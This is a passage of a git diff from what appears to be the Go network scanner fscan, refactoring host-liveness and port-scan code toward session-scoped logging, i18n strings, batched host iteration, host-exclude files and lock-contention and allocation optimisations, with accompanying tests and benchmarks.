+ } // 获取当前计数 currentExhausted := ap.state.GetResourceExhaustedCount() currentPackets := ap.state.GetPacketCount() + ap.mu.Lock() // 计算增量(本周期内的耗尽率) deltaExhausted := currentExhausted - ap.lastExhaustedCount deltaPackets := currentPackets - ap.lastPacketCount @@ -104,7 +107,7 @@ func (ap *AdaptivePool) maybeAdjust() { newSize = ap.minSize } ap.tune(newSize) - common.LogInfo(fmt.Sprintf("[AdaptivePool] 资源耗尽率 %.1f%%, 线程数 %d -> %d", rate*100, currentSize, newSize)) + common.LogInfo(i18n.Tr("adaptive_pool_resource_exhausted", fmt.Sprintf("%.1f", rate*100), currentSize, newSize)) } else if rate < ap.recoveryThreshold && currentSize < ap.maxSize { // 恢复:增加 10% 线程(保守恢复) newSize := int(float64(currentSize) * 1.1) diff --git a/core/adaptive_timeout.go b/core/adaptive_timeout.go index fb05660..f7d98c5 100644 --- a/core/adaptive_timeout.go +++ b/core/adaptive_timeout.go @@ -46,16 +46,18 @@ func (a *AdaptiveTimeout) Record(rtt time.Duration) { // Timeout 获取当前推荐超时值 // 样本不足时返回 maxTO(冷启动) +// 锁外执行均值/标准差计算,减少锁持有时间 func (a *AdaptiveTimeout) Timeout() time.Duration { a.mu.Lock() - defer a.mu.Unlock() - if a.count < a.warmup { + a.mu.Unlock() return a.maxTO } if !a.dirty { - return a.cachedTO + cached := a.cachedTO + a.mu.Unlock() + return cached } n := a.size @@ -63,15 +65,27 @@ func (a *AdaptiveTimeout) Timeout() time.Duration { n = a.count } + // 拷贝样本到本地,释放锁后再计算 + localSamples := make([]float64, n) + start := a.pos % a.size + if a.count < a.size { + copy(localSamples, a.samples[:n]) + } else { + copy(localSamples[:a.size-start], a.samples[start:]) + copy(localSamples[a.size-start:], a.samples[:start]) + } + a.mu.Unlock() + + // 锁外计算 var sum float64 - for i := 0; i < n; i++ { - sum += a.samples[i] + for _, s := range localSamples { + sum += s } mean := sum / float64(n) var variance float64 - for i := 0; i < n; i++ { - d := a.samples[i] - mean + for _, s := range localSamples { + d := s - mean variance += d * d } stddev := math.Sqrt(variance / float64(n)) @@ -86,7 +100,11 @@ func (a *AdaptiveTimeout) Timeout() time.Duration { to = a.maxTO } + // 短暂加锁更新缓存 + a.mu.Lock() a.cachedTO = to a.dirty = false + a.mu.Unlock() + return to } diff --git a/core/alive_scanner.go b/core/alive_scanner.go index a8a66ff..1d2f250 100644 --- a/core/alive_scanner.go +++ b/core/alive_scanner.go @@ -38,7 +38,7 @@ type AliveStats struct { // NewAliveScanStrategy 创建新的存活探测扫描策略 func NewAliveScanStrategy() *AliveScanStrategy { return &AliveScanStrategy{ - BaseScanStrategy: NewBaseScanStrategy("存活探测", FilterNone), + BaseScanStrategy: NewBaseScanStrategy(i18n.GetText("scan_strategy_alive_name"), FilterNone), startTime: time.Now(), } } @@ -57,59 +57,65 @@ func (s *AliveScanStrategy) Description() string { func (s *AliveScanStrategy) Execute(ctx context.Context, session *common.ScanSession, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) { // 验证扫描目标(需要同时检查 -h 和 -hf 参数) if info.Host == "" && session.Params.HostsFile == "" { - common.LogError(i18n.GetText("parse_error_target_empty")) + session.LogError(i18n.GetText("parse_error_target_empty")) return } // 执行存活探测 s.performAliveScan(ctx, info, session) - - // 输出统计信息 - s.outputStats() } // performAliveScan 执行存活探测 func (s *AliveScanStrategy) performAliveScan(ctx context.Context, info common.HostInfo, session *common.ScanSession) { - // 解析目标主机 - hosts, err := parsers.ParseIP(info.Host, session.Params.HostsFile, session.Params.ExcludeHosts) + excludes, err := loadHostExcludes(session.Params) if err != nil { - common.LogError(i18n.Tr("parse_target_failed", err)) + session.LogError(i18n.Tr("parse_target_failed", err)) return } - - if len(hosts) == 0 { - common.LogError(i18n.GetText("parse_error_no_hosts")) + iter, err := parsers.NewHostIterator(info.Host, session.Params.HostsFile, excludes...) + if err != nil { + session.LogError(i18n.Tr("parse_target_failed", err)) return } + defer func() { + _ = iter.Close() + }() - // 初始化统计信息 - s.stats.TotalHosts = len(hosts) + s.stats.TotalHosts = 0 s.stats.AliveHosts = 0 s.stats.DeadHosts = 0 + for { + hosts, err := iter.NextBatch(ctx, targetHostBatchSize(session.Config)) + if err != nil { + session.LogError(i18n.Tr("parse_target_failed", err)) + return + } + if len(hosts) == 0 { + break + } - // 执行存活检测 - aliveList := CheckLive(ctx, hosts, false, session) // 使用ICMP探测 + s.stats.TotalHosts += len(hosts) + aliveList := CheckLive(ctx, hosts, false, session) + s.stats.AliveHosts += len(aliveList) + for _, host := range aliveList { + session.LogSuccess(fmt.Sprintf("alive %s", host)) + } + } + + if s.stats.TotalHosts == 0 { + session.LogError(i18n.GetText("parse_error_no_hosts")) + return + } - // 更新统计信息 - s.stats.AliveHosts = len(aliveList) s.stats.DeadHosts = s.stats.TotalHosts - s.stats.AliveHosts s.stats.ScanDuration = time.Since(s.startTime) - s.stats.AliveHostList = aliveList // 存储存活主机列表 if s.stats.TotalHosts > 0 { s.stats.SuccessRate = float64(s.stats.AliveHosts) / float64(s.stats.TotalHosts) * 100 } } -// outputStats 输出统计信息(精简版) -func (s *AliveScanStrategy) outputStats() { - // 只输出存活主机列表,不输出冗余统计 - for _, host := range s.stats.AliveHostList { - common.LogSuccess(fmt.Sprintf("alive %s", host)) - } -} - // PrepareTargets 存活探测不需要准备扫描目标 func (s *AliveScanStrategy) PrepareTargets(info common.HostInfo) []common.HostInfo { // 存活探测不需要返回目标列表,因为它不进行后续扫描 diff --git a/core/base_scan_strategy.go b/core/base_scan_strategy.go index 17ba2e8..f78b813 100644 --- a/core/base_scan_strategy.go +++ b/core/base_scan_strategy.go @@ -81,6 +81,11 @@ func (b *BaseScanStrategy) IsPluginApplicableByName(pluginName string, targetHos return false } + // 显式指定插件时,尊重调用方选择,不再强制使用插件默认端口过滤。 + if isCustomMode { + return b.isPluginPassesFilterType(pluginName, isCustomMode, config) + } + // 检查端口匹配和过滤器类型 return b.isPluginApplicableToPortWithHost(pluginName, targetHost, targetPort) && b.isPluginPassesFilterType(pluginName, isCustomMode, config) } @@ -101,6 +106,10 @@ func (b *BaseScanStrategy) isLocalPlugin(pluginName string) bool { return plugins.HasType(pluginName, plugins.PluginTypeLocal) } +func (b *BaseScanStrategy) isUDPPlugin(pluginName string) bool { + return plugins.IsUDP(pluginName) +} + func (b *BaseScanStrategy) isLocalPluginExplicitlySpecified(pluginName string, config *common.Config) bool { return config.LocalPlugin == pluginName } @@ -136,6 +145,11 @@ func (b *BaseScanStrategy) isPluginApplicableToPort(pluginName string, targetPor // isPluginPassesFilterType 检查插件是否通过过滤器类型检查 func (b *BaseScanStrategy) isPluginPassesFilterType(pluginName string, isCustomMode bool, config *common.Config) bool { + // UDP 插件有独立分发路径,不参与 TCP 端口匹配流水线 + if b.isUDPPlugin(pluginName) { + return false + } + // 自定义模式下强制运行所有明确指定的插件 if isCustomMode { return true @@ -150,8 +164,8 @@ func (b *BaseScanStrategy) isPluginPassesFilterType(pluginName string, isCustomM } return false case FilterService: - // 服务扫描策略:排除本地插件 - return !b.isLocalPlugin(pluginName) + // 服务扫描策略:排除本地插件和UDP插件(UDP有独立分发路径) + return !b.isLocalPlugin(pluginName) && !b.isUDPPlugin(pluginName) case FilterWeb: // Web扫描策略:只允许Web插件 return b.isWebPlugin(pluginName) @@ -165,7 +179,7 @@ func (b *BaseScanStrategy) isPluginPassesFilterType(pluginName string, isCustomM } // LogPluginInfo 输出插件信息 -func (b *BaseScanStrategy) LogPluginInfo(config *common.Config) { +func (b *BaseScanStrategy) LogPluginInfo(config *common.Config, session *common.ScanSession) { allPlugins, isCustomMode := b.GetPlugins(config) var prefix string @@ -184,6 +198,7 @@ func (b *BaseScanStrategy) LogPluginInfo(config *common.Config) { _ = allPlugins _ = isCustomMode _ = prefix + _ = session } // formatPluginList 格式化插件列表(超过5个时精简显示) @@ -191,7 +206,7 @@ func formatPluginList(plugins []string) string { if len(plugins) <= 5 { return strings.Join(plugins, ", ") } - return fmt.Sprintf("%s ... 等%d个", strings.Join(plugins[:5], ", "), len(plugins)) + return i18n.Tr("plugin_list_summary", strings.Join(plugins[:5], ", "), len(plugins)) } // ValidateConfiguration 验证扫描配置 @@ -200,14 +215,14 @@ func (b *BaseScanStrategy) ValidateConfiguration() error { } // LogScanStart 输出扫描开始信息(已精简,仅在非服务扫描模式下显示) -func (b *BaseScanStrategy) LogScanStart() { +func (b *BaseScanStrategy) LogScanStart(session *common.ScanSession) { // 服务扫描模式下不显示(插件信息已足够说明) // 仅在本地/Web等特殊模式下显示 switch b.filterType { case FilterLocal: - common.LogInfo(i18n.GetText("start_local_scan")) + session.LogInfo(i18n.GetText("start_local_scan")) case FilterWeb: - common.LogInfo(i18n.GetText("start_web_scan")) + session.LogInfo(i18n.GetText("start_web_scan")) } } @@ -225,9 +240,9 @@ func (b *BaseScanStrategy) getPluginsByFilterType() []string { } } case FilterService: - // 服务扫描策略:排除本地插件和纯Web插件,保留服务插件 + // 服务扫描策略:排除本地插件和UDP插件,保留TCP服务插件 for _, pluginName := range allPlugins { - if !b.isLocalPlugin(pluginName) { + if !b.isLocalPlugin(pluginName) && !b.isUDPPlugin(pluginName) { filteredPlugins = append(filteredPlugins, pluginName) } } diff --git a/core/host_batch.go b/core/host_batch.go new file mode 100644 index 0000000..696fd02 --- /dev/null +++ b/core/host_batch.go @@ -0,0 +1,22 @@ +package core + +import ( + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/common/parsers" +) + +const maxHostBatchSize = 65536 + +func targetHostBatchSize(config *common.Config) int { + size := parsers.DefaultHostBatchSize + if config != nil && config.ThreadNum > 0 { + threadWindow := config.ThreadNum * 8 + if threadWindow > size { + size = threadWindow + } + } + if size > maxHostBatchSize { + return maxHostBatchSize + } + return size +} diff --git a/core/host_excludes.go b/core/host_excludes.go new file mode 100644 index 0000000..a6c5bad --- /dev/null +++ b/core/host_excludes.go @@ -0,0 +1,28 @@ +package core + +import ( + "strings" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/common/parsers" +) + +func loadHostExcludes(params *common.FlagVars) ([]string, error) { + if params == nil { + return nil, nil + } + + excludes := make([]string, 0, 1) + if strings.TrimSpace(params.ExcludeHosts) != "" { + excludes = append(excludes, params.ExcludeHosts) + } + if strings.TrimSpace(params.ExcludeHostsFile) == "" { + return excludes, nil + } + + lines, err := parsers.ReadLinesFromFile(params.ExcludeHostsFile) + if err != nil { + return nil, err + } + return append(excludes, lines...), nil +} diff --git a/core/host_excludes_test.go b/core/host_excludes_test.go new file mode 100644 index 0000000..1252f6c --- /dev/null +++ b/core/host_excludes_test.go @@ -0,0 +1,29 @@ +package core + +import ( + "os" + "reflect" + "testing" + + "github.com/shadow1ng/fscan/common" +) + +func TestLoadHostExcludesIncludesExcludeFile(t *testing.T) { + path := t.TempDir() + "/exclude.txt" + if err := os.WriteFile(path, []byte("192.168.1.2\n# comment\n192.168.1.3\n"), 0o600); err != nil { + t.Fatalf("WriteFile error = %v", err) + } + + got, err := loadHostExcludes(&common.FlagVars{ + ExcludeHosts: "192.168.1.1", + ExcludeHostsFile: path, + }) + if err != nil { + t.Fatalf("loadHostExcludes error = %v", err) + } + + want := []string{"192.168.1.1", "192.168.1.2", "192.168.1.3"} + if !reflect.DeepEqual(got, want) { + t.Fatalf("loadHostExcludes = %#v, want %#v", got, want) + } +} diff --git a/core/icmp.go b/core/icmp.go index 80cb4b5..dce4907 100644 --- a/core/icmp.go +++ b/core/icmp.go @@ -8,6 +8,7 @@ import ( "net" "os/exec" "runtime" + "strconv" "strings" "sync" "sync/atomic" @@ -55,7 +56,7 @@ func CheckLive(ctx context.Context, hostslist []string, Ping bool, session *comm chanHosts := make(chan string, len(hostslist)) // 处理存活主机 - go handleAliveHosts(chanHosts, hostslist, Ping, &aliveHosts, &aliveHostsMu, existHosts, config, &livewg) + go handleAliveHosts(chanHosts, hostslist, Ping, &aliveHosts, &aliveHostsMu, existHosts, config, session, &livewg) // 根据Ping参数选择检测方式 if Ping { @@ -106,7 +107,7 @@ func tcpSupplementaryProbe(ctx context.Context, allHosts []string, aliveHosts [] } // 提示用户正在进行 TCP 补充探测 - common.LogInfo(i18n.Tr("tcp_probe_low_icmp_rate", fmt.Sprintf("%.1f%%", responseRate*100), len(unrespondedHosts))) + session.LogInfo(i18n.Tr("tcp_probe_low_icmp_rate", fmt.Sprintf("%.1f%%", responseRate*100), len(unrespondedHosts))) // 执行 TCP 补充探测 tcpAliveHosts := runTcpProbeForHosts(ctx, unrespondedHosts, session) @@ -114,7 +115,7 @@ func tcpSupplementaryProbe(ctx context.Context, allHosts []string, aliveHosts [] // 合并结果 if len(tcpAliveHosts) > 0 { aliveHosts = append(aliveHosts, tcpAliveHosts...) - common.LogInfo(i18n.Tr("tcp_probe_found", len(tcpAliveHosts))) + session.LogInfo(i18n.Tr("tcp_probe_found", len(tcpAliveHosts))) } return aliveHosts @@ -130,7 +131,7 @@ func IsContain(items []string, item string) bool { return false } -func handleAliveHosts(chanHosts chan string, hostslist []string, isPing bool, aliveHosts *[]string, aliveHostsMu *sync.Mutex, existHosts map[string]struct{}, config *common.Config, livewg *sync.WaitGroup) { +func handleAliveHosts(chanHosts chan string, hostslist []string, isPing bool, aliveHosts *[]string, aliveHostsMu *sync.Mutex, existHosts map[string]struct{}, config *common.Config, session *common.ScanSession, livewg *sync.WaitGroup) { for ip := range chanHosts { if _, ok := existHosts[ip]; !ok && IsContain(hostslist, ip) { existHosts[ip] = struct{}{} @@ -155,12 +156,9 @@ func handleAliveHosts(chanHosts chan string, hostslist []string, isPing bool, al "protocol": protocol, }, } - _ = common.SaveResult(result) + _ = session.SaveResult(result) - // 保留原有的控制台输出 - if !config.Output.Silent { - common.LogInfo(i18n.Tr("host_alive", ip, protocol)) - } + session.LogInfo(i18n.Tr("host_alive", ip, protocol)) } livewg.Done() } @@ -289,13 +287,13 @@ func waitAdaptive(hostslist []string, aliveHosts *[]string, aliveHostsMu *sync.M // 条件1:所有主机都已响应,立即结束 if aliveCount >= totalHosts { - common.LogDebug(fmt.Sprintf("[ICMP] 全部响应,耗时 %v", elapsed.Round(time.Millisecond))) + common.LogDebug(i18n.Tr("icmp_debug_all_responded", elapsed.Round(time.Millisecond))) break } // 条件2:超过最大等待时间,兜底结束 if elapsed >= maxWait { - common.LogDebug(fmt.Sprintf("[ICMP] 达到最大等待时间 %v,存活 %d/%d", maxWait, aliveCount, totalHosts)) + common.LogDebug(i18n.Tr("icmp_debug_max_wait", maxWait, aliveCount, totalHosts)) break } @@ -308,8 +306,7 @@ func waitAdaptive(hostslist []string, aliveHosts *[]string, aliveHostsMu *sync.M lastAliveCount = aliveCount } else if time.Since(lastChangeTime) >= icmpStableThreshold { // 连续 500ms 没有新响应,认为响应已稳定,提前结束 - common.LogDebug(fmt.Sprintf("[ICMP] 响应稳定,提前结束,耗时 %v,存活 %d/%d", - elapsed.Round(time.Millisecond), aliveCount, totalHosts)) + common.LogDebug(i18n.Tr("icmp_debug_stable_done", elapsed.Round(time.Millisecond), aliveCount, totalHosts)) break } } else { @@ -708,7 +705,7 @@ func tcpProbeAlive(ctx context.Context, session *common.ScanSession, host string result := make(chan bool, len(tcpProbeCommonPorts)) for _, port := range tcpProbeCommonPorts { go func(p int) { - addr := fmt.Sprintf("%s:%d", host, p) + addr := net.JoinHostPort(host, strconv.Itoa(p)) conn, err := session.DialTCP(ctx, "tcp", addr, tcpProbeTimeout) if err == nil { _ = conn.Close() @@ -730,7 +727,6 @@ func tcpProbeAlive(ctx context.Context, session *common.ScanSession, host string // runTcpProbeForHosts 对指定主机列表进行 TCP 补充探测 // 返回存活的主机列表 func runTcpProbeForHosts(ctx context.Context, hosts []string, session *common.ScanSession) []string { - config := session.Config if len(hosts) == 0 { return nil } @@ -771,11 +767,9 @@ func runTcpProbeForHosts(ctx context.Context, hosts []string, session *common.Sc "protocol": "TCP", }, } - _ = common.SaveResult(result) + _ = session.SaveResult(result) - if !config.Output.Silent { - common.LogInfo(i18n.Tr("host_alive", h, "TCP")) - } + session.LogInfo(i18n.Tr("host_alive", h, "TCP")) } }(host) } diff --git a/core/local_scanner.go b/core/local_scanner.go index c132a8d..45a6225 100644 --- a/core/local_scanner.go +++ b/core/local_scanner.go @@ -17,17 +17,17 @@ type LocalScanStrategy struct { // NewLocalScanStrategy 创建新的本地扫描策略 func NewLocalScanStrategy() *LocalScanStrategy { return &LocalScanStrategy{ - BaseScanStrategy: NewBaseScanStrategy("本地扫描", FilterLocal), + BaseScanStrategy: NewBaseScanStrategy(i18n.GetText("scan_strategy_local_name"), FilterLocal), } } // LogPluginInfo 重写以只显示通过-local指定的插件 -func (s *LocalScanStrategy) LogPluginInfo(config *common.Config) { +func (s *LocalScanStrategy) LogPluginInfo(config *common.Config, session *common.ScanSession) { localPlugin := config.LocalPlugin if localPlugin != "" { - common.LogInfo(i18n.Tr("local_plugin_info", localPlugin)) + session.LogInfo(i18n.Tr("local_plugin_info", localPlugin)) } else { - common.LogError(i18n.GetText("local_plugin_not_specified")) + session.LogError(i18n.GetText("local_plugin_not_specified")) } } @@ -46,24 +46,24 @@ func (s *LocalScanStrategy) Execute(ctx context.Context, session *common.ScanSes config := session.Config // 输出扫描开始信息 - s.LogScanStart() + s.LogScanStart(session) // 验证插件配置 if err := s.ValidateConfiguration(); err != nil { - common.LogError(err.Error()) + session.LogError(err.Error()) return } // 验证本地插件是否存在 if config.LocalPlugin != "" { if !plugins.Exists(config.LocalPlugin) { - common.LogError(i18n.Tr("local_plugin_not_found", config.LocalPlugin)) + session.LogError(i18n.Tr("local_plugin_not_found", config.LocalPlugin)) return } } // 输出插件信息 - s.LogPluginInfo(config) + s.LogPluginInfo(config, session) // 准备目标(本地扫描通常只有一个目标,即本机) targets := s.PrepareTargets(info) diff --git a/core/perf_bench_test.go b/core/perf_bench_test.go new file mode 100644 index 0000000..6fe3f81 --- /dev/null +++ b/core/perf_bench_test.go @@ -0,0 +1,102 @@ +package core + +import ( + "errors" + "fmt" + "net" + "strings" + "testing" +) + +// ============================================================================= +// Benchmark: containsFold vs strings.ToLower + strings.Contains +// ============================================================================= + +func BenchmarkContainsFold(b *testing.B) { + err := errors.New("connection reset by peer: 192.168.1.1:445") + b.ResetTimer() + for i := 0; i < b.N; i++ { + containsFold(err.Error(), "connection reset") + } +} + +func BenchmarkStringsToLowerContains(b *testing.B) { + err := errors.New("connection reset by peer: 192.168.1.1:445") + b.ResetTimer() + for i := 0; i < b.N; i++ { + strings.Contains(strings.ToLower(err.Error()), "connection reset") + } +} + +// ============================================================================= +// Benchmark: fmt.Sprintf vs net.JoinHostPort + fmtPort +// ============================================================================= + +func BenchmarkFmtSprintfAddr(b *testing.B) { + host := "192.168.1.1" + port := 445 + b.ResetTimer() + for i := 0; i < b.N; i++ { + _ = fmt.Sprintf("%s:%d", host, port) + } +} + +func BenchmarkJoinHostPortFmtPort(b *testing.B) { + host := "192.168.1.1" + port := 445 + b.ResetTimer() + for i := 0; i < b.N; i++ { + _ = net.JoinHostPort(host, fmtPort(port)) + } +} + +func BenchmarkFmtPort(b *testing.B) { + b.ResetTimer() + for i := 0; i < b.N; i++ { + _ = fmtPort(445) + } +} + +// ============================================================================= +// Benchmark: readFromConn buffer pre-allocation +// ============================================================================= + +func BenchmarkAppendFromNil(b *testing.B) { + data := []byte("HTTP/1.1 200 OK\r\nServer: nginx") + chunk := data[:10] + b.ResetTimer() + for i := 0; i < b.N; i++ { + var result []byte + result = append(result, chunk...) + result = append(result, chunk...) + _ = result + } +} + +func BenchmarkAppendPreAllocated(b *testing.B) { + data := []byte("HTTP/1.1 200 OK\r\nServer: nginx") + chunk := data[:10] + b.ResetTimer() + for i := 0; i < b.N; i++ { + result := make([]byte, 0, 4096) + result = append(result, chunk...) + result = append(result, chunk...) + _ = result + } +} + +// ============================================================================= +// Benchmark: AdaptiveTimeout computation under lock vs outside lock +// ============================================================================= + +func BenchmarkAdaptiveTimeoutComputation(b *testing.B) { + at := NewAdaptiveTimeout(3000 * 1000000) // 3s in ns + // Warm up: add 64 samples + for i := 0; i < 64; i++ { + at.Record(10 * 1000000) // 10ms in ns + } + b.ResetTimer() + for i := 0; i < b.N; i++ { + _ = at.Timeout() + } +} diff --git a/core/port_scan.go b/core/port_scan.go index bce2a86..1e81722 100644 --- a/core/port_scan.go +++ b/core/port_scan.go @@ -4,6 +4,7 @@ import ( "context" "fmt" "net" + "strconv" "strings" "sync" "sync/atomic" @@ -35,7 +36,30 @@ var resourceExhaustedPatterns = []string{ "no buffer space available", "cannot assign requested address", "connection reset by peer", - "发包受限", + i18n.GetText("network_rate_limited_pattern"), + "rate limited", +} + +// closedPatterns 连接已关闭的错误模式 +var closedPatterns = []string{ + "broken pipe", + "connection reset", + "connection refused", + "use of closed network connection", + "connection was forcibly closed", +} + +// proxyErrorTexts 代理错误响应文本模式 +var proxyErrorTexts = []string{ + "connection refused", + "host unreachable", + "network unreachable", + "connection timed out", + "proxy error", + "gateway error", + "bad gateway", + "502", + "503", } // resultCollector 结果收集器,用于并发安全地收集扫描结果 @@ -79,6 +103,7 @@ func (c *resultCollector) GetAll() []string { type portScanTask struct { host string port int + addr string // 预格式化的 host:port,避免 fmt.Sprintf 热路径分配 semaphore chan struct{} // 完成时释放窗口槽位 } @@ -120,13 +145,13 @@ func (f *failedPortCollector) Count() int { func EnhancedPortScan(ctx context.Context, hosts []string, ports string, timeout int64, session *common.ScanSession, stream chan<- string) []string { config := session.Config state := session.State - common.LogDebug(fmt.Sprintf("[PortScan] 开始: %d个主机, 线程数=%d", len(hosts), config.ThreadNum)) + session.LogDebug(i18n.Tr("port_scan_debug_start", len(hosts), config.ThreadNum)) // 大规模扫描预筛:跨多个 /24 时先做网段探活,跳过空网段 if len(hosts) > subnetProbeThreshold { hosts = probeSubnets(ctx, hosts, time.Duration(timeout)*time.Second, session) if len(hosts) == 0 { - common.LogInfo(i18n.GetText("port_scan_no_alive_subnet")) + session.LogInfo(i18n.GetText("port_scan_no_alive_subnet")) if stream != nil { close(stream) } @@ -137,13 +162,13 @@ func EnhancedPortScan(ctx context.Context, hosts []string, ports string, timeout // 解析端口和排除端口 portList := parsers.ParsePort(ports) if len(portList) == 0 { - common.LogError(i18n.Tr("invalid_port", ports)) + session.LogError(i18n.Tr("invalid_port", ports)) if stream != nil { close(stream) } return nil } - common.LogDebug(fmt.Sprintf("[PortScan] 端口解析完成: %d个端口", len(portList))) + session.LogDebug(i18n.Tr("port_scan_debug_ports_parsed", len(portList))) // 使用config中的排除端口配置 excludePorts := parsers.ParsePort(config.Target.ExcludePorts) @@ -153,45 +178,45 @@ func EnhancedPortScan(ctx context.Context, hosts []string, ports string, timeout } // 检查代理可靠性,如果存在全回显问题则警告 - if common.IsProxyEnabled() && !common.IsProxyReliable() { - common.LogError("检测到代理存在全回显问题,端口扫描结果可能不准确") + if session.ProxyEnabled() && !session.ProxyReliable() { + session.LogError(i18n.GetText("proxy_echo_warning")) } // 创建流式迭代器(O(1) 内存,端口喷洒策略) iter := NewSocketIterator(hosts, portList, exclude) totalTasks := iter.Total() - common.LogDebug(fmt.Sprintf("[PortScan] 总任务数: %d", totalTasks)) + session.LogDebug(i18n.Tr("port_scan_debug_total_tasks", totalTasks)) // 使用传入的配置 threadNum := config.ThreadNum // 大规模扫描警告和线程数自动调整 if totalTasks > 100000 { - common.LogInfo(fmt.Sprintf("大规模扫描: %d 个目标 (%d主机 × %d端口)", totalTasks, len(hosts), len(portList))) + session.LogInfo(i18n.Tr("large_scan_notice", totalTasks, len(hosts), len(portList))) // 如果任务数超过100万且线程数大于300,自动降低线程数 if totalTasks > 1000000 && threadNum > 300 { oldThreadNum := threadNum threadNum = 300 - common.LogInfo(fmt.Sprintf("自动调整线程数: %d -> %d (大规模扫描优化)", oldThreadNum, threadNum)) + session.LogInfo(i18n.Tr("large_scan_thread_adjusted", oldThreadNum, threadNum)) } } // 初始化端口扫描进度条 if totalTasks > 0 && config.Output.ShowProgress { - description := fmt.Sprintf("端口扫描中(%d线程)", threadNum) - common.InitProgressBar(int64(totalTasks), description) + description := i18n.Tr("port_scan_progress_description", threadNum) + common.InitProgressBar(totalTasks, description) } - common.LogDebug("[PortScan] 进度条初始化完成") + session.LogDebug(i18n.GetText("port_scan_debug_progress_ready")) // 初始化并发控制 to := time.Duration(timeout) * time.Second adaptiveTO := NewAdaptiveTimeout(to) - var count int64 + var count atomic.Int64 collector := newResultCollector(stream) failedCollector := &failedPortCollector{} var wg sync.WaitGroup - common.LogDebug(fmt.Sprintf("[PortScan] 开始创建线程池, size=%d", threadNum)) + session.LogDebug(i18n.Tr("port_scan_debug_pool_create", threadNum)) // 创建自适应线程池(支持动态调整) pool, err := NewAdaptivePool(threadNum, func(task interface{}) { taskInfo, ok := task.(portScanTask) @@ -203,24 +228,23 @@ func EnhancedPortScan(ctx context.Context, hosts []string, ports string, timeout wg.Done() }() - addr := fmt.Sprintf("%s:%d", taskInfo.host, taskInfo.port) - scanSinglePort(ctx, taskInfo.host, taskInfo.port, addr, adaptiveTO, &count, collector, failedCollector, session) + scanSinglePort(ctx, taskInfo.host, taskInfo.port, taskInfo.addr, adaptiveTO, &count, collector, failedCollector, session) common.UpdateProgressBar(1) }, state) if err != nil { - common.LogError(i18n.Tr("thread_pool_create_failed", err)) + session.LogError(i18n.Tr("thread_pool_create_failed", err)) if stream != nil { close(stream) } return nil } - common.LogDebug("[PortScan] 线程池创建成功") + session.LogDebug(i18n.GetText("port_scan_debug_pool_created")) defer pool.Release() - common.LogDebug("[PortScan] 开始滑动窗口调度") + session.LogDebug(i18n.GetText("port_scan_debug_schedule_start")) // 滑动窗口调度:维护固定数量的"飞行中"任务 slidingWindowSchedule(iter, pool, &wg, threadNum) - common.LogDebug("[PortScan] 滑动窗口调度完成") + session.LogDebug(i18n.GetText("port_scan_debug_schedule_done")) // 收集结果 aliveAddrs := collector.GetAll() @@ -235,7 +259,7 @@ func EnhancedPortScan(ctx context.Context, hosts []string, ports string, timeout common.FinishProgressBar() } - common.LogInfo(i18n.Tr("port_scan_complete", count)) + session.LogInfo(i18n.Tr("port_scan_complete", count.Load())) // 检查扫描失败率,如果过高则警告用户 resourceErrors := state.GetResourceExhaustedCount() @@ -246,18 +270,18 @@ func EnhancedPortScan(ctx context.Context, hosts []string, ports string, timeout if failureRate > 20 { // 失败率超过20%,严重警告 - common.LogError(i18n.Tr("scan_failure_rate_high", fmt.Sprintf("%.1f%%", failureRate), failedCount, totalTasks)) - common.LogError(i18n.GetText("scan_failure_reason")) - common.LogError(i18n.Tr("scan_reduce_threads_suggestion", threadNum)) + session.LogError(i18n.Tr("scan_failure_rate_high", fmt.Sprintf("%.1f%%", failureRate), failedCount, totalTasks)) + session.LogError(i18n.GetText("scan_failure_reason")) + session.LogError(i18n.Tr("scan_reduce_threads_suggestion", threadNum)) } else if failureRate > 5 { // 失败率5-20%,一般警告 - common.LogInfo(i18n.Tr("scan_partial_failure", fmt.Sprintf("%.1f%%", failureRate), failedCount, totalTasks)) - common.LogInfo(i18n.Tr("scan_reduce_threads_accuracy", threadNum)) + session.LogInfo(i18n.Tr("scan_partial_failure", fmt.Sprintf("%.1f%%", failureRate), failedCount, totalTasks)) + session.LogInfo(i18n.Tr("scan_reduce_threads_accuracy", threadNum)) } } if resourceErrors > 0 { - common.LogError(i18n.Tr("resource_exhausted_warning", resourceErrors)) + session.LogError(i18n.Tr("resource_exhausted_warning", resourceErrors)) } return aliveAddrs @@ -283,6 +307,7 @@ func slidingWindowSchedule(iter *SocketIterator, pool *AdaptivePool, wg *sync.Wa task := portScanTask{ host: host, port: port, + addr: net.JoinHostPort(host, fmtPort(port)), semaphore: semaphore, } if err := pool.Invoke(task); err != nil { @@ -295,6 +320,22 @@ func slidingWindowSchedule(iter *SocketIterator, pool *AdaptivePool, wg *sync.Wa wg.Wait() } +// fmtPort 无分配的端口号格式化 +func fmtPort(port int) string { + if port < 0 || port > 65535 { + return "0" + } + // 预分配足够大的缓冲区 + var buf [6]byte + i := len(buf) + for port > 0 || i == len(buf) { + i-- + buf[i] = byte(port%10) + '0' + port /= 10 + } + return string(buf[i:]) +} + // connectWithRetry 带重试的TCP连接 - 只对资源耗尽错误重试 func connectWithRetry(ctx context.Context, session *common.ScanSession, addr string, timeout time.Duration, maxRetries int) (net.Conn, error) { var lastErr error @@ -334,7 +375,7 @@ func isResourceExhaustedError(err error) bool { errStr := err.Error() for _, pattern := range resourceExhaustedPatterns { - if strings.Contains(errStr, pattern) { + if containsFold(errStr, pattern) { return true } } @@ -342,14 +383,50 @@ func isResourceExhaustedError(err error) bool { return false } +// containsFold 忽略大小写的子串匹配,避免 strings.ToLower 分配 +func containsFold(s, substr string) bool { + if len(substr) == 0 { + return true + } + if len(substr) > len(s) { + return false + } + for i := 0; i <= len(s)-len(substr); i++ { + if matchFold(s[i:i+len(substr)], substr) { + return true + } + } + return false +} + +// matchFold 忽略大小写逐字节比较 +func matchFold(a, b string) bool { + if len(a) != len(b) { + return false + } + for i := 0; i < len(a); i++ { + ca, cb := a[i], b[i] + if ca >= 'A' && ca <= 'Z' { + ca += 'a' - 'A' + } + if cb >= 'A' && cb <= 'Z' { + cb += 'a' - 'A' + } + if ca != cb { + return false + } + } + return true +} + // buildServiceLogMessage 构建服务识别的日志信息 // 格式: addr service [Product:xxx ||Version:xxx] Banner:(xxx) func buildServiceLogMessage(addr string, serviceInfo *ServiceInfo, isWeb bool) string { var msg strings.Builder - msg.WriteString(fmt.Sprintf("%-21s", addr)) + fmt.Fprintf(&msg, "%-21s", addr) if serviceInfo.Name != "unknown" { - msg.WriteString(fmt.Sprintf(" %-8s", 